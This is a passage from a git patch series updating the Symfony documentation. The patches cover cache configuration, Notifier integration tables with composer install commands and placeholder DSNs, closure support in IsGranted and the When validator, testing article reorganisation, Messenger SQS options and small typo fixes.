diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index fc6b34868db..e4d01ee6ecf 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -260,6 +260,11 @@ convert non-lazy classes to lazy ones::
         $instance->validateHash();
     });
 
+.. deprecated:: 7.0
+
+    The ``initializer`` function allowed passing two arguments to it to initialize
+    properties one by one. This feature was removed in Symfony 7.0.
+
 While you never query ``$processor->hash`` value, heavy methods will never be
 triggered. But still, the ``$processor`` object exists and can be used in your
 code, passed to methods, functions, etc.

From e1faee99e859ae8d17128aef1bb007dd0c8d619a Mon Sep 17 00:00:00 2001
From: Jenne van der Meer <jennevdmeer@impulze.net>
Date: Tue, 18 Feb 2025 06:48:43 -0800
Subject: [PATCH 5371/5766] Bundle example does not implement
 `CompilerPassInterface`

---
 service_container/compiler_passes.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 11458a4e8e3..096c60c2642 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -77,10 +77,11 @@ bundle class::
     namespace App\MyBundle;
 
     use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class MyBundle extends AbstractBundle
+    class MyBundle extends AbstractBundle implements CompilerPassInterface
     {
         public function process(ContainerBuilder $container): void
         {

From 80eb561c2e4245739bb0fde0b7685728fdd832ae Mon Sep 17 00:00:00 2001
From: Michael Babker <michael@happydog.digital>
Date: Tue, 18 Feb 2025 09:39:54 -0600
Subject: [PATCH 5372/5766] Make tag aware config examples consistent

---
 cache.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0072e9cfd52..2dec1e6a758 100644
--- a/cache.rst
+++ b/cache.rst
@@ -603,6 +603,7 @@ to enable this feature. This could be added by using the following configuration
                 pools:
                     my_cache_pool:
                         adapter: cache.adapter.redis_tag_aware
+                        tags: true
 
     .. code-block:: xml
 
@@ -619,7 +620,7 @@ to enable this feature. This could be added by using the following configuration
             <framework:config>
                 <framework:cache>
                     <framework:pool name="my_cache_pool"
-                        adapter="cache.adapter.redis"
+                        adapter="cache.adapter.redis_tag_aware"
                         tags="true"
                     />
                 </framework:cache>
@@ -635,7 +636,7 @@ to enable this feature. This could be added by using the following configuration
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags(true)
-                    ->adapters(['cache.adapter.redis'])
+                    ->adapters(['cache.adapter.redis_tag_aware'])
             ;
         };
 

From 659937bf44de6b414936d27bebd9f5818fad6b05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Feb 2025 17:08:11 +0100
Subject: [PATCH 5373/5766] [Notifier] Reformat the tables that list the
 service integrations

---
 notifier.rst | 110 ++++++++++++++++++++++++++++++++-------------------
 1 file changed, 69 insertions(+), 41 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 36fbd5ada89..2382dfee284 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -350,30 +350,50 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-=======================================  ====================================  =============================================================================
-Service                                  Package                               DSN
-=======================================  ====================================  =============================================================================
-`AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-`Bluesky`_                               ``symfony/bluesky-notifier``          ``bluesky://USERNAME:PASSWORD@default``
-`Chatwork`_                              ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
-`Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-`FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-`Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
-`GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-`LINE Bot`_                              ``symfony/line-bot-notifier``         ``linebot://TOKEN@default?receiver=RECEIVER``
-`LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
-`LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-`Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
-`Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-`Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-`MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-`RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-`Slack`_                                 ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-`Telegram`_                              ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-`Twitter`_                               ``symfony/twitter-notifier``          ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
-`Zendesk`_                               ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
-`Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-======================================   ====================================  =============================================================================
+======================================   =====================================================================================
+Service
+======================================   =====================================================================================
+`AmazonSns`_                             **Install**: ``composer require symfony/amazon-sns-notifier`` \
+                                         **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
+                                         **DSN**: ``bluesky://USERNAME:PASSWORD@default``
+`Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
+                                         **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
+`Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \
+                                         **DSN**: ``discord://TOKEN@default?webhook_id=ID``
+`FakeChat`_                              **Install**: ``composer require symfony/fake-chat-notifier`` \
+                                         **DSN**: ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+`Firebase`_                              **Install**: ``composer require symfony/firebase-notifier`` \
+                                         **DSN**: ``firebase://USERNAME:PASSWORD@default``
+`GoogleChat`_                            **Install**: ``composer require symfony/google-chat-notifier`` \
+                                         **DSN**: ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LINE Bot`_                              **Install**: ``composer require symfony/line-bot-notifier`` \
+                                         **DSN**: ``linebot://TOKEN@default?receiver=RECEIVER``
+`LINE Notify`_                           **Install**: ``composer require symfony/line-notify-notifier`` \
+                                         **DSN**: ``linenotify://TOKEN@default``
+`LinkedIn`_                              **Install**: ``composer require symfony/linked-in-notifier`` \
+                                         **DSN**: ``linkedin://TOKEN:USER_ID@default``
+`Mastodon`_                              **Install**: ``composer require symfony/mastodon-notifier`` \
+                                         **DSN**: ``mastodon://ACCESS_TOKEN@HOST``
+`Mattermost`_                            **Install**: ``composer require symfony/mattermost-notifier`` \
+                                         **DSN**: ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Mercure`_                               **Install**: ``composer require symfony/mercure-notifier`` \
+                                         **DSN**: ``mercure://HUB_ID?topic=TOPIC``
+`MicrosoftTeams`_                        **Install**: ``composer require symfony/microsoft-teams-notifier`` \
+                                         **DSN**: ``microsoftteams://default/PATH``
+`RocketChat`_                            **Install**: ``composer require symfony/rocket-chat-notifier`` \
+                                         **DSN**: ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+`Slack`_                                 **Install**: ``composer require symfony/slack-notifier`` \
+                                         **DSN**: ``slack://TOKEN@default?channel=CHANNEL``
+`Telegram`_                              **Install**: ``composer require symfony/telegram-notifier`` \
+                                         **DSN**: ``telegram://TOKEN@default?channel=CHAT_ID``
+`Twitter`_                               **Install**: ``composer require symfony/twitter-notifier`` \
+                                         **DSN**: ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
+`Zendesk`_                               **Install**: ``composer require symfony/zendesk-notifier`` \
+                                         **DSN**: ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
+`Zulip`_                                 **Install**: ``composer require symfony/zulip-notifier`` \
+                                         **DSN**: ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================   =====================================================================================
 
 .. versionadded:: 7.1
 
@@ -569,18 +589,26 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-===============  ====================================  ==============================================================================
-Service          Package                               DSN
-===============  ====================================  ==============================================================================
-`Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
-`Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
-`Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
-`Ntfy`_          ``symfony/ntfy-notifier``             ``ntfy://default/TOPIC``
-`OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-`PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
-`Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
-`Pushy`_         ``symfony/pushy-notifier``            ``pushy://API_KEY@default``
-===============  ====================================  ==============================================================================
+===============  =======================================================================================
+Service
+===============  =======================================================================================
+`Engagespot`_    **Install**: ``composer require symfony/engagespot-notifier`` \
+                 **DSN**: ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
+`Expo`_          **Install**: ``composer require symfony/expo-notifier`` \
+                 **DSN**: ``expo://TOKEN@default``
+`Novu`_          **Install**: ``composer require symfony/novu-notifier`` \
+                 **DSN**: ``novu://API_KEY@default``
+`Ntfy`_          **Install**: ``composer require symfony/ntfy-notifier`` \
+                 **DSN**: ``ntfy://default/TOPIC``
+`OneSignal`_     **Install**: ``composer require symfony/one-signal-notifier`` \
+                 **DSN**: ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+`PagerDuty`_     **Install**: ``composer require symfony/pager-duty-notifier`` \
+                 **DSN**: ``pagerduty://TOKEN@SUBDOMAIN``
+`Pushover`_      **Install**: ``composer require symfony/pushover-notifier`` \
+                 **DSN**: ``pushover://USER_KEY:APP_TOKEN@default``
+`Pushy`_         **Install**: ``composer require symfony/pushy-notifier`` \
+                 **DSN**: ``pushy://API_KEY@default``
+===============  =======================================================================================
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -645,11 +673,11 @@ The desktop channel is used to display local desktop notifications on the same
 host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
 Symfony is integrated with the following providers:
 
-===============  ====================================  ==============================================================================
-Provider         Package                               DSN
-===============  ====================================  ==============================================================================
-`JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
-===============  ====================================  ==============================================================================
+===============  ================================================  ==============================================================================
+Provider         Install                                           DSN
+===============  ================================================  ==============================================================================
+`JoliNotif`_     ``composer require symfony/joli-notif-notifier``  ``jolinotif://default``
+===============  ================================================  ==============================================================================
 
 .. versionadded:: 7.2
 

From 764e47d2fff954f9efe474264c53cb566bed4f6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Feb 2025 11:58:00 +0100
Subject: [PATCH 5374/5766] [Notifier] Mention the extra info returned in
 Bluesky SentMessage

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 2a5877ee465..ebd2602328c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -365,6 +365,7 @@ Service
                                          **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
                                          **DSN**: ``bluesky://USERNAME:PASSWORD@default``
+                                         **Extra properties in SentMessage**:: ``cid``
 `Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
                                          **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \

From 4ddcc0829b6a68763e8105c38da96ca456669f36 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 19 Feb 2025 13:15:33 +0100
Subject: [PATCH 5375/5766] [Security] Add support for closures in the
 `IsGranted` attribute

---
 security/expressions.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 569c7f093bf..dce52ee74ff 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -201,6 +201,41 @@ Inside the subject's expression, you have access to two variables:
 ``args``
     An array of controller arguments that are passed to the controller.
 
+Additionally to expressions, the ``#[IsGranted]`` attribute also accepts
+closures that return a boolean value. The subject can also be a closure that
+returns an array of values that will be injected into the closure::
+
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+    use Symfony\Component\Security\Http\Attribute\IsGrantedContext;
+
+    class MyController extends AbstractController
+    {
+        #[IsGranted(static function (
+            IsGrantedContext $context,
+            mixed $subject,
+        ) {
+            return $context->user === $subject['post']->getAuthor();
+        }, subject: static function (array $args) {
+            return [
+                'post' => $args['post'],
+            ];
+        })]
+        public function index($post): Response
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 7.3
+
+    The support for closures in the ``#[IsGranted]`` attribute was introduced
+    in Symfony 7.3 and requires PHP 8.5.
+
 Learn more
 ----------
 

From 95cdcf643d7c9b21d1d2df359339cff64ec2a76c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Feb 2025 15:58:03 +0100
Subject: [PATCH 5376/5766] [Testing] Reorganize the introduction of some
 articles

---
 testing.rst            | 60 ++++++++++++++++++++++--------------------
 testing/end_to_end.rst | 44 +++++++++++++------------------
 2 files changed, 50 insertions(+), 54 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4e719bc23d5..f786a01a83e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -5,14 +5,38 @@ Whenever you write a new line of code, you also potentially add new bugs.
 To build better and more reliable applications, you should test your code
 using both functional and unit tests.
 
-.. _testing-installation:
+Symfony integrates with an independent library called `PHPUnit`_ to give you a
+rich testing framework. This article covers the PHPUnit basics you'll need to
+write Symfony tests. To learn everything about PHPUnit and its features, read
+the `official PHPUnit documentation`_.
+
+Types of Tests
+--------------
+
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
+
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
+
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the fully
+    working application, those are called *Application tests*.
+
+`Application Tests`_
+    Application tests (also known as functional tests) test the behavior of a
+    complete application. They make HTTP requests (both real and simulated ones)
+    and test that the response is as expected.
 
-The PHPUnit Testing Framework
------------------------------
+.. _testing-installation:
+.. _the-phpunit-testing-framework:
 
-Symfony integrates with an independent library called `PHPUnit`_ to give
-you a rich testing framework. This article won't cover PHPUnit itself,
-which has its own excellent `documentation`_.
+Installation
+------------
 
 Before creating your first test, install ``symfony/test-pack``, which installs
 some other packages needed for testing (such as ``phpunit/phpunit``):
@@ -44,28 +68,6 @@ your test into multiple "test suites").
     missing, you can try running the recipe again using
     ``composer recipes:install phpunit/phpunit --force -v``.
 
-Types of Tests
---------------
-
-There are many types of automated tests and precise definitions often
-differ from project to project. In Symfony, the following definitions are
-used. If you have learned something different, that is not necessarily
-wrong, just different from what the Symfony documentation is using.
-
-`Unit Tests`_
-    These tests ensure that *individual* units of source code (e.g. a single
-    class) behave as intended.
-
-`Integration Tests`_
-    These tests test a combination of classes and commonly interact with
-    Symfony's service container. These tests do not yet cover the fully
-    working application, those are called *Application tests*.
-
-`Application Tests`_
-    Application tests test the behavior of a complete application. They
-    make HTTP requests (both real and simulated ones) and test that the
-    response is as expected.
-
 Unit Tests
 ----------
 
@@ -1193,7 +1195,7 @@ Learn more
     /components/css_selector
 
 .. _`PHPUnit`: https://phpunit.de/
-.. _`documentation`: https://docs.phpunit.de/
+.. _`official PHPUnit documentation`: https://docs.phpunit.de/
 .. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.5/writing-tests-for-phpunit.html
 .. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 8a624ae884e..bb4a316f347 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -1,41 +1,35 @@
 End-to-End Testing
 ==================
 
-    The Panther component allows to drive a real web browser with PHP to create
-    end-to-end tests.
+End-to-end tests simulate how real users interact with your application through
+a browser. They focus on verifying your user interface and the outcomes of user
+actions (like confirming that clicking a button sends an email).
+
+Unlike :ref:`application tests <functional-tests>`, these tests run in a real
+browser that can work in headless mode (without a graphical interface) for CI
+environments or with a graphical interface for debugging.
+
+Symfony provides a component called **Panther** to run end-to-end tests. Panther
+lets you run tests in a real browser and offers unique features not available in
+other test types:
+
+* Taking screenshots at any point during the test;
+* Executing JavaScript on your pages;
+* Supporting everything Chrome or Firefox does;
+* Simpler testing of real-time applications (e.g. WebSockets, Server-Sent Events with Mercure).
 
 Installation
 ------------
 
+Before creating and running your first end-to-end tests, run the following command
+to install the needed dependencies:
+
 .. code-block:: terminal
 
     $ composer require symfony/panther
 
 .. include:: /components/require_autoload.rst.inc
 
-Introduction
-------------
-
-End to end tests are a special type of application tests that
-simulate a real user interacting with your application. They are
-typically used to test the user interface (UI) of your application
-and the effects of these interactions (e.g. when I click on this button, a mail
-must be sent). The difference with functional tests detailed above is
-that End-to-End tests use a real browser instead of a simulated one. This
-browser can run in headless mode (without a graphical interface) or not.
-The first option is convenient for running tests in a Continuous Integration
-(CI), while the second one is useful for debugging purpose.
-
-This is the purpose of Panther, a component that provides a real browser
-to run your tests. Here are a few things that make Panther special, compared
-to other testing tools provided by Symfony:
-
-* Possibility to take screenshots of the browser at any time during the test
-* The JavaScript code contained in webpages is executed
-* Panther supports everything that Chrome (or Firefox) implements
-* Convenient way to test real-time applications (e.g. WebSockets, Server-Sent Events
-  with Mercure, etc.)
-
 Installing Web Drivers
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 60726ca2729218286082d64c6b4fd3f10c55bf07 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Thu, 20 Feb 2025 08:49:25 +0100
Subject: [PATCH 5377/5766] Add missing spaces in scheduler

---
 scheduler.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 5bac82d98ae..271117f97dc 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -436,10 +436,10 @@ by adding one of these attributes to a service or a command:
 :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask`.
 
 For both of these attributes, you have the ability to define the schedule to
-use via the ``schedule``option. By default, the ``default`` named schedule will
+use via the ``schedule`` option. By default, the ``default`` named schedule will
 be used. Also, by default, the ``__invoke`` method of your service will be called
-but, it's also possible to specify the method to call via the ``method``option
-and you can define arguments via ``arguments``option if necessary.
+but, it's also possible to specify the method to call via the ``method`` option
+and you can define arguments via ``arguments`` option if necessary.
 
 .. _scheduler-attributes-cron-task:
 

From 67fd89cc7d7dbc756b1403ccc94060462ff786c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Feb 2025 09:02:04 +0100
Subject: [PATCH 5378/5766] Minor typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ebd2602328c..33ae95ef9e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -365,7 +365,7 @@ Service
                                          **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
                                          **DSN**: ``bluesky://USERNAME:PASSWORD@default``
-                                         **Extra properties in SentMessage**:: ``cid``
+                                         **Extra properties in SentMessage**: ``cid``
 `Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
                                          **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \

From 06e15d5555360305ace149aa2550c62682b6d36d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Feb 2025 12:59:49 +0100
Subject: [PATCH 5379/5766] [Validator] Add support for closures in the `When`
 constraint

---
 reference/constraints/When.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 22ae477365f..2674972a023 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -174,11 +174,12 @@ Options
 ``expression``
 ~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string|Closure``
 
-The condition written with the expression language syntax that will be evaluated.
-If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
-validation of constraints won't be triggered.
+The condition as a closure or written with the expression language syntax
+that will be evaluated. If the closure return value or the evaluated expression
+is a falsey value (i.e. using ``==``, not ``===``), validation of constraints won't
+be triggered, and constraints of the ``otherwise`` option will, if provided.
 
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
@@ -200,6 +201,13 @@ in your expression:
 
     The ``context`` variable in expressions was introduced in Symfony 7.2.
 
+When using a closure, the first argument is the object being validated.
+
+.. versionadded:: 7.3
+
+    The support for closure in the ``expression`` option was introduced in Symfony 7.3
+    and requires PHP 8.5.
+
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:
 
@@ -215,11 +223,20 @@ validation based on its value:
 
         class Discount
         {
+            // either using an expression...
             #[Assert\When(
                 expression: 'value == "percent"',
                 constraints: [new Assert\Callback('doComplexValidation')],
             )]
+            // ... or using a closure
+            #[Assert\When(
+                expression: static function (Discount $discount) {
+                    return $discount->getType() === 'percent';
+                },
+                constraints: [new Assert\Callback('doComplexValidation')],
+            )]
             private ?string $type;
+
             // ...
 
             public function doComplexValidation(ExecutionContextInterface $context, $payload): void

From ec3d995f1c5a788d9749e33bcacce4938da82a82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Feb 2025 16:27:15 +0100
Subject: [PATCH 5380/5766] Minor tweaks

---
 reference/constraints/When.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 2674972a023..7587f0c776c 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -176,16 +176,13 @@ Options
 
 **type**: ``string|Closure``
 
-The condition as a closure or written with the expression language syntax
-that will be evaluated. If the closure return value or the evaluated expression
-is a falsey value (i.e. using ``==``, not ``===``), validation of constraints won't
-be triggered, and constraints of the ``otherwise`` option will, if provided.
+The condition evaluated to decide if the constraint is applied or not. It can be
+defined as a closure or a string using the :doc:`expression language syntax </reference/formats/expression_language>`.
+If the result is a falsey value (``false``, ``null``, ``0``, an empty string or
+an empty array) the constraints defined in the ``constraints`` option won't be
+applied but the constraints defined in ``otherwise`` option (if provided) will be applied.
 
-To learn more about the expression language syntax, see
-:doc:`/reference/formats/expression_language`.
-
-Depending on how you use the constraint, you have access to different variables
-in your expression:
+**When using an expression**, you access to the following variables:
 
 ``this``
     The object being validated (e.g. an instance of Discount).
@@ -201,16 +198,13 @@ in your expression:
 
     The ``context`` variable in expressions was introduced in Symfony 7.2.
 
-When using a closure, the first argument is the object being validated.
+**When using a closure**, the first argument is the object being validated.
 
 .. versionadded:: 7.3
 
     The support for closure in the ``expression`` option was introduced in Symfony 7.3
     and requires PHP 8.5.
 
-The ``value`` variable can be used when you want to execute more complex
-validation based on its value:
-
 .. configuration-block::
 
     .. code-block:: php-attributes
@@ -228,6 +222,7 @@ validation based on its value:
                 expression: 'value == "percent"',
                 constraints: [new Assert\Callback('doComplexValidation')],
             )]
+
             // ... or using a closure
             #[Assert\When(
                 expression: static function (Discount $discount) {

From f49a48a5b74a43d6da63b7300ca473dd59327e8f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Feb 2025 16:28:02 +0100
Subject: [PATCH 5381/5766] Minor fix

---
 reference/constraints/When.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 7587f0c776c..6eca8b4895f 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -202,7 +202,7 @@ applied but the constraints defined in ``otherwise`` option (if provided) will b
 
 .. versionadded:: 7.3
 
-    The support for closure in the ``expression`` option was introduced in Symfony 7.3
+    The support for closures in the ``expression`` option was introduced in Symfony 7.3
     and requires PHP 8.5.
 
 .. configuration-block::

From 7f701e7c6e29b9e34bc2753f9dcf021244af5259 Mon Sep 17 00:00:00 2001
From: Peter Trebaticky <github.10.trepe@spamgourmet.com>
Date: Fri, 21 Feb 2025 18:56:19 +0100
Subject: [PATCH 5382/5766] [Messenger] Add options to specify SQS queue
 attributes and tags

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index c6643af0a89..477ef65b740 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2064,6 +2064,12 @@ The transport has a number of options:
 ``queue_name`` (default: ``messages``)
     Name of the queue
 
+``queue_attributes``
+    Attributes of a queue as per `SQS CreateQueue API`_. Array of strings indexed by keys of ``AsyncAws\Sqs\Enum\QueueAttributeName``. Added in Symfony 7.3.
+
+``queue_tags``
+    Cost allocation tags of a queue as per `SQS CreateQueue API`_. Array of strings indexed by strings. Added in Symfony 7.3.
+
 ``region`` (default: ``eu-west-1``)
     Name of the AWS region
 
@@ -3637,3 +3643,4 @@ Learn more
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
 .. _`SSL context options`: https://php.net/context.ssl
 .. _`predefined constants`: https://www.php.net/pcntl.constants
+.. _`SQS CreateQueue API`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_CreateQueue.html

From 4f6410775bf538b2ed7746cc3f731cb105ae9075 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ga=C3=ABtan=20Verlhac?= <viviengaetan69@gmail.com>
Date: Sat, 22 Feb 2025 09:49:14 +0100
Subject: [PATCH 5383/5766] [Console] Remove invalid ProcessHelper specified
 usage

---
 components/console/helpers/processhelper.rst | 7 +------
 1 file changed, 1 insertion(+), 6 deletions(-)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index a02aabfd85d..b46d9f2e95f 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -42,12 +42,7 @@ In case the process fails, debugging is easier:
 Arguments
 ---------
 
-There are three ways to use the process helper:
-
-* Using a command line string::
-
-    // ...
-    $helper->run($output, 'figlet Symfony');
+There are two ways to use the process helper:
 
 * An array of arguments::
 

From b3b790157e0fd9bcdc57f98988288d68dcbb0336 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Feb 2025 15:18:40 +0100
Subject: [PATCH 5384/5766] Move the core team page to the contributing root
 dir as it's not just about code

---
 _build/redirection_map                     | 1 +
 _images/sources/README.md                  | 2 +-
 contributing/code/index.rst                | 1 -
 contributing/code/pull_requests.rst        | 2 +-
 contributing/code/standards.rst            | 2 +-
 contributing/code_of_conduct/care_team.rst | 2 +-
 contributing/community/releases.rst        | 2 +-
 contributing/{code => }/core_team.rst      | 0
 contributing/map.rst.inc                   | 3 ++-
 9 files changed, 8 insertions(+), 7 deletions(-)
 rename contributing/{code => }/core_team.rst (100%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 4fb14724d26..3bad633e0e1 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -430,6 +430,7 @@
 /email/spool /mailer
 /email/testing /mailer
 /contributing/community/other /contributing/community
+/contributing/code/core_team /contributing/core_team
 /profiler/storage /profiler
 /setup/composer /setup
 /security/security_checker /setup
diff --git a/_images/sources/README.md b/_images/sources/README.md
index 467d4024010..84810a9783d 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -96,7 +96,7 @@ only the asciicast file).
 
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
